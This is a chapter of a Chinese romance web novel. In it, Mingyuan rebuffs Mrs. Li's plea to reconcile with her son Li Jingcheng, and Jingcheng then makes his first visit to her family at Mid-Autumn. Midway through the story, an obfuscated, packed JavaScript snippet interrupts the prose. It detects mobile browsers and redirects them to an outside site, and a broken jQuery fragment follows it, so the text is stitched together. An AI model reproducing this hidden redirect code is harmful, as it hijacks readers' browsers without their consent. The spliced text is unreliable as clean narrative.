宁城。
明愿从没想过,厉夫人会专程来宁城找她。
当前台小姐低声说有位气质女士到访时,她脑海里飞快过了一圈可能的名字,却唯独没想到会是她。
席氏裙楼一层的落地窗外,阳光正好,咖啡厅静谧而安静。
厉夫人坐在临窗的位置,一身剪裁得体的一字肩连衣裙,身上没有过多的首饰,低调又端庄。
明愿笑着落座,拿起咖啡杯轻啜一口,“您来宁城,是特意来找我的吗?”
厉夫人从包里取出一个高高的首饰盒,推到明愿面前。
“这个,”她语气轻缓,“是我当年和他父亲结婚时,京承的外公送我的。”
明愿视线落在那盒子上,木盒雕着细致的缠枝莲纹,年代久远,却保养得极好,连漆色都未褪去几分。
厉夫人继续道:“他当年说,等我以后有女儿,就可以传下去。但只有京承一个孩子,所以现在给你。”
明愿不语,指腹轻轻摩挲着咖啡杯壁,静静等着她的后话。
厉夫人笑了笑,语气柔和:“你应该也听说过我一些事,我也不拐弯抹角了。京承叔叔确实犯了错,我一次次去找京承,不是为了他求情。”
她顿了顿,语气低了些,“是为了我自己。”
明愿微微挑眉。
厉夫人轻轻叹了一口气:“那件事之后,京承跟我几乎断了来往。他是我唯一的孩子,我不是没错,但我不能眼睁睁看着他一辈子都不肯再回头看我。”
她抬眸看向明愿,语气比刚才更为坦白:“我知道,他在意你。你若愿意劝他一劝……哪怕让我有个见他的机会,我也感激,我只是想和他说说话。”
明愿看着她良久,终于低头触碰那盒子,轻轻推回她面前:“这东西您收好。”
“明愿……,你帮帮我。”厉夫人手微微一颤,轻声唤她。
明愿抬眼看着她,语气平静却带着不容回避的清冷:“京承可以接受一个残酷的世界,但他大概永远不会原谅主动制造伤害的人。他若愿意见您,自然就见了,若不愿,您再多做,也只是徒劳。”
厉夫人神色一黯,仿佛一瞬间苍老了几分。
明愿继续道:“厉钦入狱,是他咎由自取。厉京临是他孩子,就算是领养来的,按理说也该有养育之恩。可厉京临为什么这么恨他,恨到要将他亲手送进监狱?会不会是因为你们太自私?”
因为贪恋不恰当的感情,厉夫人抛夫弃子,厉钦为了掩人耳目拿厉京临当棋子用,又有几分真心呢?
她语气不急不缓,却句句逼人,像是将那些掩盖多年的遮羞布,一层层掀开。
“如今,京承已经有了新的生活。那段过去于他而言,只剩痛苦。”
“厉夫人,你可以愧疚一辈子,京承也可以一辈子不原谅,不是所有的对不起,都能换来没关系。”
厉夫人垂下眼帘,指节攥得泛白,没再说一句话。
明愿看了她一眼,语气放缓了一些:“你有做母亲的尊严,别把仅剩的体面,也耗光了。”
明愿看着厉夫人落寞离去的背影,脑海里却浮现起了另一个人的面孔——李明杰的周福英。
同样是母亲,却是截然不同的两种极端。
一个,有悔意,却太迟,将伤害包装成爱,试图用沉默和眼泪试图换来宽恕,以爱之名,行最利己之事。
一个,沉溺在被害的执念里,把所有仇恨倾泻在旁人身上,不愿面对任何真相。
舆论平息后,宋彤彤曾鼓起勇气去李家看望过李明杰,面对周福英的冷嘲热讽,她声音发颤地说出那句:“明杰是自杀,不是被撞的。”
结果差点没被周福英当场掐死,好在李父还算理智,将她拉开。
回到办公室没多久,助理又敲门进来,怀里捧着一个朱红色的木盒。
“明总,前台说刚刚那位女士留下这个盒子,让务必转交给你。”
明愿目光微沉,视线落在那盒子上,沉默片刻,才轻声道:“放这吧,谢谢。”
助理退了出去,房间归于安静。她起身走过去,坐在沙发前,将木盒摆在茶几上。
盒内共分三层,层层叠嵌,结构古雅,一层项链,一层手镯,一层耳环,是一套完整的翡翠首饰,应该是出自老匠之手。
她静静地看了一会儿,掏出手机拍照给了厉京承。
没过几秒钟,视频电话便跳了出来。
电话接通,画面那头是厉京承的脸。
他语气低沉而直接:“她来找你了?”
明愿将手机稍稍抬高些,让他能看见桌上的木盒。
“她带来了这个盒子,说是你外公给她的。我当时拒绝了,但她刚刚又让前台送到了我办公室。”
厉京承沉默片刻,像是压下了什么情绪,才开口:“她说什么了?”
“想让我劝你见她一面,说不是替厉钦求情,只是想见你,说几句话。”
厉京承低笑一声,薄而冷:“见不见,都改变不了什么。”
明愿懂他的意思,有些伤,是年少时刻在骨子里的,就算成年后看得通透,也不代表能轻易放下。厉夫人的过错,厉京承也许要用一生来治愈。
“那这个,你打算怎么处理?”她问。
“既然她给你,你就收着吧。”
“你不介意?”
“她手里有厉氏不少股份,这些年的分红早够买下这一套了。”他的语气淡得没有温度,像在诉说一场平常的生意。
说起厉氏,明愿有个疑问,“厉氏现在是厉京临管理?”
“不是,他放弃了,会找职业经理人接手。”
明愿轻轻点头,没再说话,只是垂眸看着那盒首饰,片刻后伸手重新合上了盖子。
·
事情暂告一段落,中秋那天,厉京承第一次以明愿男朋友的身份,登门拜访席家。
席家亲戚众多,叔伯辈分齐全,明愿一一介绍过去。在商场上游刃有余的男人,在这一刻竟也有些拘谨。
明愿的叔叔笑着打趣:“京承,可算是见着你了。早听说我们家小明愿常驻安城,是给自己找了个金龟婿,今日一见,确实不凡,难怪这丫头连家都顾不上回了。”
一屋人都笑起来,气氛轻松热络。
明愿抿着茶,轻咳一声,“叔叔,别总拿我打趣啊。”
厉京承倒是应得坦然,嘴角带笑:“叔伯们放心,以后明愿在哪,我的工作重心就往哪移。”
他一句话大大方方,听得一众长辈连连点头,明愿反倒有些不好意思了。
她牵起厉京承的手,笑着打岔:“你们还是操心给我哥介绍女朋友吧,我先带京承在院子里走走。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572901|170161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说着,也不等大家应声,拉着他小跑出去,留下一屋人会意地笑着。
一口气跑到院子里,明愿这才松开手,在树荫下的藤椅上坐下,轻轻呼了口气。
厉京承低头看了眼刚刚被她牵着的手腕,眼里带笑,慢悠悠道:“不是说要带我转转?怎么刚出来就罢工了?”
明愿双手往后撑在椅子上,仰头道:“你四处看看,你想往哪转,我再领你去。”
厉京承一番沉思,“去你的房间?”
明愿“啧”了一声,斜了他一眼:“你怎么不说去我爸妈房间?”
厉京承忍笑,慢条斯理地反问:“你领得动?”
她被噎了一下,干脆闭目养神,晒着午后的阳光,不理他了。
他站在她身旁,静静看了她一会儿,低声道:“开个玩笑也不行?”
明愿睁眼,语气懒洋洋的:“你刚刚那么正经一圈人前应对,我都没敢打趣你,你倒是轻松了。”
厉京承低笑了声,在她身边坐下,语气放软:“刚刚是第一次登门,难免紧张。现在只剩你了,我当然轻松。”
明愿轻哼一声,没说话,但嘴角弯了弯。
最终,厉京承还是如愿参观了女友从小到大的房间。
开放式的格局将卧室、衣帽间、小书房连成一体,只有一扇玻璃门连接着洗手间,房间布置清雅,色调素净温柔,窗前纱帘随风轻摇。
虽然和她安城公寓和小楼的房间风格差异大不,但这里多了太多她学生时代的记忆。
明愿背着手慢慢悠悠地跟在他身后,不说话,只是笑,看他像在博物馆似的继续转着,最后在她的书桌前停下。
“这是你小时候写日记的地方?”他问。
她走过去倚着书架,“我不写日记。”
“那真是太遗憾了。”他语气颇为惋惜。
她挑眉看他:“嗯?”
厉京承随手翻了翻桌面上叠得整整齐齐的几本旧书,唇角一挑:“本来还想偷偷看看你的少女心思,有没有给哪个男同学写情书。”
明愿走过去,抢下他手里的书,“你太老土了,我才不写情书。”
厉京承顺势一拉,她就跌坐在了他的大腿上。
他圈抱住她,双手稳稳箍住了腰,唇贴着她的耳,“那有多少男同学给你写过?”
“我数不过来,你自己问他们去。”
明愿偏头避开他,狡黠一笑。
厉京承轻笑一声,似真似假地叹道:“早知如此,当年就应该转学来宁城。”
“你转学过来,和我哥成为同学?”
厉京承低头在她发间蹭了一下,声音慢悠悠的:“说不定我会为了你留级几年。”
明愿撑着他的肩起身,嘴角噙笑:“恋爱脑,那我肯定看不上你。”
“那我必然会努力让你看上我。”
厉京承一手揽她回怀,一手在她腰侧轻轻一拍。
“无聊。”
这时,佣人上楼来敲门,“小姐,太太让你带厉先生下楼去喝茶。”
明愿愣了愣,从他大腿上轻轻跳下地。
厉京承看着她落地,才慢吞吞站起身。
两人心里门清,喝茶是假,他待在明愿房间太久被嫌弃是真的。
明愿失笑地回头看他一眼,推了推他肩膀,催着他往门口走。